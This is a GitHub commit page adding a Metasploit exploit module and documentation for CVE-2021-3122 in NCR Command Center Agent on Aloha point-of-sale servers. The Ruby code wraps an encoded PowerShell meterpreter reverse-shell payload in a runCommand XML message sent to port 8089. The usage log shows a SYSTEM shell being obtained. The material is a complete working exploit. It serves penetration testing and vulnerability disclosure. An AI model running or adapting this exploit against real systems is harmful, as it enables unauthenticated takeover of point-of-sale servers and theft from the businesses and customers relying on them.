Skip to content

Commit 09f1d1a

Browse files
authored
Land #20650, adds module for NCR Command Center Agent unauthenticated RCE (CVE-2021-3122)
Add NCR Command Center Agent Unauthenticated RCE (CVE-2021-3122)
2 parents 9040851 + 666e63f commit 09f1d1a

File tree

2 files changed

+186
-0
lines changed

2 files changed

+186
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
## Vulnerable Application
2+
3+
CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter
4+
(within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command
5+
as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only
6+
on devices with a certain "misconfiguration."
7+
8+
Successfully tested against NCR Command Center Agent 16.2.1.1
9+
10+
### Install
11+
12+
The original link is https://rdf2.alohaenterprise.com/client/CMCInst.zip. Since the URL was inaccessible, the file was downloaded using the Web Archive. Here’s the final URL:
13+
14+
```
15+
https://web.archive.org/web/20210129020048/https://rdf2.alohaenterprise.com/client/CMCInst.zip
16+
```
17+
18+
## Verification Steps
19+
20+
1. Install the application
21+
2. Start msfconsole
22+
3. Do: `use windows/misc/ncr_cmcagent_rce`
23+
4. Do: `set rhosts [ip]`
24+
5. Do: `set lhost [ip]`
25+
6. Do: `run`
26+
7. You should get a shell.
27+
28+
## Options
29+
30+
## Scenarios
31+
32+
```
33+
msf > use windows/misc/ncr_cmcagent_rce
34+
[*] Using configured payload windows/meterpreter/reverse_tcp
35+
msf exploit(windows/misc/ncr_cmcagent_rce) > set LHOST 192.168.2.107
36+
LHOST => 192.168.2.107
37+
msf exploit(windows/misc/ncr_cmcagent_rce) > set RHOSTS 192.168.2.106
38+
RHOSTS => 192.168.2.106
39+
msf exploit(windows/misc/ncr_cmcagent_rce) > exploit
40+
[*] Started reverse TCP handler on 192.168.2.107:4444
41+
[*] 192.168.2.106:8089 - Generating payload
42+
[*] 192.168.2.106:8089 - Check your shell
43+
[*] Sending stage (177734 bytes) to 192.168.2.106
44+
[*] Meterpreter session 1 opened (192.168.2.107:4444 -> 192.168.2.106:49849) at 2025-10-23 05:38:45 -0400
45+
46+
meterpreter > shell
47+
Process 5188 created.
48+
Channel 1 created.
49+
Microsoft Windows [Version 10.0.19044.4529]
50+
(c) Microsoft Corporation. All rights reserved.
51+
52+
C:\Windows\system32>whoami
53+
whoami
54+
nt authority\system
55+
```
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::Powershell
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'NCR Command Center Agent Remote Code Execution',
18+
'Description' => %q{
19+
CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter
20+
(within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command
21+
as SYSTEM, as exploited in the wild in 2020 and/or 2021. The vendor's position is that exploitation occurs only
22+
on devices with a certain "misconfiguration."
23+
},
24+
'Author' => [
25+
'daffainfo (Muhammad Daffa)',
26+
'jjcho (Jericho Nathanael Chrisnanta)'
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' => [
30+
['CVE', '2021-3122'],
31+
['URL', 'https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/'],
32+
['URL', 'https://hcs-team.com/blog/cve-2021-3122/'],
33+
],
34+
'DisclosureDate' => '2021-02-07',
35+
'Platform' => 'win',
36+
'Arch' => [ ARCH_X64, ARCH_X86 ],
37+
'Privileged' => true,
38+
'Targets' => [
39+
[
40+
'Windows',
41+
{
42+
'Platform' => 'win',
43+
'Arch' => [ ARCH_X64, ARCH_X86 ],
44+
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
45+
}
46+
]
47+
],
48+
'Notes' => {
49+
'Stability' => [CRASH_SAFE],
50+
'Reliability' => [REPEATABLE_SESSION],
51+
'SideEffects' => []
52+
},
53+
'DefaultTarget' => 0
54+
)
55+
)
56+
57+
register_options(
58+
[
59+
Opt::RPORT(8089)
60+
]
61+
)
62+
end
63+
64+
def check
65+
connect
66+
banner = sock.get_once
67+
disconnect
68+
if (banner.to_s =~ /<cmcsys:myNodeNumber/)
69+
return Exploit::CheckCode::Detected('CMCAgent detected')
70+
end
71+
72+
Exploit::CheckCode::Safe('Could not detect CMCAgent')
73+
end
74+
75+
def generate_xml(cmd_payload)
76+
workitem_id = rand(1..9)
77+
source_node = rand(1..9)
78+
exec_status = %w[Unknown Waiting InProgress].sample
79+
dest_server = %w[WebServer RdfServer].sample
80+
guid = SecureRandom.uuid
81+
82+
xml_body = '<workitemroot commandname="runCommand">'
83+
xml_body << '<WorkItem>'
84+
xml_body << '<WorkItemId>'
85+
xml_body << workitem_id.to_s
86+
xml_body << '</WorkItemId>'
87+
xml_body << '<CommandName>runCommand</CommandName>'
88+
xml_body << '<SourceNode>'
89+
xml_body << source_node.to_s
90+
xml_body << '</SourceNode>'
91+
xml_body << '<TargetNode>0</TargetNode>'
92+
xml_body << '<Status>'
93+
xml_body << exec_status
94+
xml_body << '</Status>'
95+
xml_body << '</WorkItem>'
96+
xml_body << '<command>'
97+
xml_body << '<Arguments>'
98+
xml_body << cmd_payload
99+
xml_body << '</Arguments>'
100+
xml_body << '<Guid>'
101+
xml_body << guid
102+
xml_body << '</Guid>'
103+
xml_body << '<Result></Result>'
104+
xml_body << '<destserver>'
105+
xml_body << dest_server
106+
xml_body << '</destserver>'
107+
xml_body << '</command>'
108+
xml_body << '</workitemroot>'
109+
xml_body << '<:EOM:>'
110+
111+
xml_body
112+
end
113+
114+
def exploit
115+
connect
116+
print_status("Connected to #{rhost}:#{rport}") if datastore['VERBOSE']
117+
118+
cmd_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true)
119+
payload_xml = generate_xml(cmd_payload)
120+
121+
print_status('Generating payload')
122+
123+
sock.put(payload_xml)
124+
125+
print_status('Check your shell')
126+
rescue ::Rex::ConnectionError => e
127+
fail_with(Failure::Unreachable, "Failed to connect: #{e}")
128+
ensure
129+
disconnect
130+
end
131+
end

0 commit comments

Comments
 (0)